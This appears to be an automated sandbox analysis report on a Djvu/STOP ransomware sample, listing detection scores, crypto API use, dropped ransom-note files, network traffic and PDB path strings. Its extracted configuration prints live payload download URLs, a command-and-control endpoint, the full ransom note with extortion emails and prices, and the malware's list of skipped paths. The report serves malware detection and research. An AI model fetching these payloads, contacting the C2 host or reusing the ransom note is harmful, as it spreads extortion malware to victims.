Source: 00000000.00000002.1275320365.0000000002730000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Djvu {"Download URLs": ["http://brusuax.com/dl/build2.exe", "http://zexeq.com/files/1/build3.exe"], "C2 url": "http://zexeq.com/test1/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-99MNqXMrdS\r\nPrice of private key and decrypt software is $1999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $999.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0840ASdw", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\

Multi AV Scanner detection for domain / URL

Source: brusuax.com	Virustotal: Detection: 18%	Perma Link
Source: zexeq.com	Virustotal: Detection: 20%	Perma Link
Source: http://zexeq.com/test1/get.php	Virustotal: Detection: 19%	Perma Link
Source: http://zexeq.com/files/1/build3.exerun0	Virustotal: Detection: 14%	Perma Link
Source: http://brusuax.com/dl/build2.exe	Virustotal: Detection: 24%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe

ReversingLabs: Detection: 75%

Multi AV Scanner detection for submitted file

Source: kOVwcHSfrR.exe	ReversingLabs: Detection: 75%
Source: kOVwcHSfrR.exe	Virustotal: Detection: 73%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: kOVwcHSfrR.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	7_2_0040E870
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	7_2_0040EA51
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	7_2_0040EAA0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	7_2_0040EC68
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	7_2_00410FC0
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Code function: 7_2_00411178 CryptDestroyHash,CryptReleaseContext,	7_2_00411178

Source: kOVwcHSfrR.exe, 0000000C.00000003.1826144879.00000000008E5000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_da25fcef-1

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Unpacked PE file: 7.2.kOVwcHSfrR.exe.400000.0.unpack
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	Unpacked PE file: 12.2.kOVwcHSfrR.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Unpacked PE file: 13.2.kOVwcHSfrR.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Unpacked PE file: 17.2.kOVwcHSfrR.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\8429a2bc-b663-4f4e-846e-76e22b7ae313\kOVwcHSfrR.exe	Unpacked PE file: 20.2.kOVwcHSfrR.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\2df19a2c-b539-4ffa-a72b-f2a685ef7f31\build2.exe	Unpacked PE file: 21.2.build2.exe.400000.0.unpack

Source: kOVwcHSfrR.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\$WinREAgent\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\$WinREAgent\Scratch\_readme.txt	Jump to behavior
Source: C:\Users\user\Desktop\kOVwcHSfrR.exe	File created: C:\Users\user\_readme.txt	Jump to behavior

Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.10:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.10:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.10:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.10:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.10:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.10:49718 version: TLS 1.2

Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\Ni source: kOVwcHSfrR.exe, 0000000C.00000003.1862853877.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861333525.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.000000000999F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: kOVwcHSfrR.exe, 0000000C.00000003.1844759544.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: WINLOA~1.PDBwinload_prod.pdb source: kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1844759544.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1842260747.0000000009DC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\e\C source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.cdqw source: kOVwcHSfrR.exe, 0000000C.00000003.1664922836.000000000999F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\7f source: kOVwcHSfrR.exe, 0000000C.00000003.1665394521.0000000009966000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665128050.0000000009960000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ache\$ source: kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1726155415.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1721247742.0000000009979000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1760857005.000000000998E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759245306.0000000009979000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1507820485.0000000003029000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1507795365.0000000003022000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1476987704.0000000003033000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\^d source: kOVwcHSfrR.exe, 0000000C.00000003.1726155415.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Logs\ source: kOVwcHSfrR.exe, 0000000C.00000003.1859438250.0000000009E8B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: CBACKGR~2ntkrnlmp.pdbndTransferApiGroupps_{869c683c-1d2a-4319-aa28-d1022055583b}q source: kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1859515133.0000000009D25000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1859347025.0000000009D14000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\05\* source: kOVwcHSfrR.exe, 0000000C.00000003.1824213160.0000000009D35000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1823795183.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1832122953.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1835776456.0000000009A08000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836686110.0000000009A2F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1837318811.0000000009A32000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826931766.0000000009A0E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826400249.0000000009A06000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1827751317.0000000009A37000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1824990818.0000000009D1D000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834303755.00000000099F7000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1825547771.00000000099F7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1833584423.0000000003058000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836853617.0000000003061000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836498231.0000000003058000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*+ source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\cache2\d.pdb\kies\e source: kOVwcHSfrR.exe, 0000000C.00000003.1860513716.0000000009A7F000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1867250691.0000000009A7F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\hr source: kOVwcHSfrR.exe, 0000000C.00000003.1723625866.0000000009A60000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.cdqw source: kOVwcHSfrR.exe, 0000000C.00000003.1664844689.0000000003018000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Microsoft\Windows\Shell\.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1721479780.00000000099A0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799096449.00000000099AC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1798341336.0000000009998000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1773527339.00000000099AA000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.0000000009992000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759245306.0000000009979000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1801245103.00000000099B0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1770508079.00000000099A0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759783957.00000000099A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\ source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\\! source: kOVwcHSfrR.exe, 0000000C.00000003.1723343799.00000000099F3000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721294177.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665243351.00000000099ED000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1721018659.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1664922836.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723498511.0000000009A50000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\cs source: kOVwcHSfrR.exe, 0000000C.00000003.1845519778.0000000009956000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1834527041.000000000995C000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1845613219.0000000009960000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844038631.0000000009956000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1862853877.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861333525.0000000009DE0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\! source: kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\es\ source: kOVwcHSfrR.exe, 0000000C.00000003.1774142700.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1722317833.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1665460429.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1844185052.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000002.1866384273.0000000003011000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1836648464.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1859594296.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1861518823.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1826858814.0000000002FF5000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1723919107.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759874904.0000000002FC8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\w\k\ source: kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009ECF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\nufilebe giximebemutido\zeroh\yuluz\tavoy_socalefino.pdbd@B source: build2.exe, 00000012.00000000.1460598726.0000000000420000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000012.00000002.1682755279.0000000000420000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000015.00000000.1677228255.0000000000420000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\on\*; source: kOVwcHSfrR.exe, 0000000C.00000003.1850698420.0000000009DE9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ata\: source: kOVwcHSfrR.exe, 0000000C.00000003.1841718968.0000000009D14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1843040876.0000000009D65000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1850960458.0000000009CFD000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1851746298.0000000009D65000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1851676961.0000000009D3D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: kOVwcHSfrR.exe, 0000000C.00000003.1799349513.000000000300E000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800332248.0000000003014000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1800837324.0000000003015000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\l source: kOVwcHSfrR.exe, 0000000C.00000003.1798526242.0000000009D74000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1824213160.0000000009D74000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1827323821.0000000009D75000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\/ source: kOVwcHSfrR.exe, 0000000C.00000003.1841718968.0000000009D14000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1843040876.0000000009D65000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1850960458.0000000009CFD000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1851746298.0000000009D65000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1851676961.0000000009D3D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\w source: kOVwcHSfrR.exe, 0000000C.00000003.1773563251.0000000009A09000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1759179671.00000000099EF000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1771271511.0000000009A02000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1770508079.00000000099E4000.00000004.00000020.00020000.00000000.sdmp, kOVwcHSfrR.exe, 0000000C.00000003.1760775191.0000000009A0A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ewy\ source: kOVwcHSfrR.exe, 0000000C.00000003.1801398007.0000000009C99000.00000004.00000020.00020000.00000000.sdmp
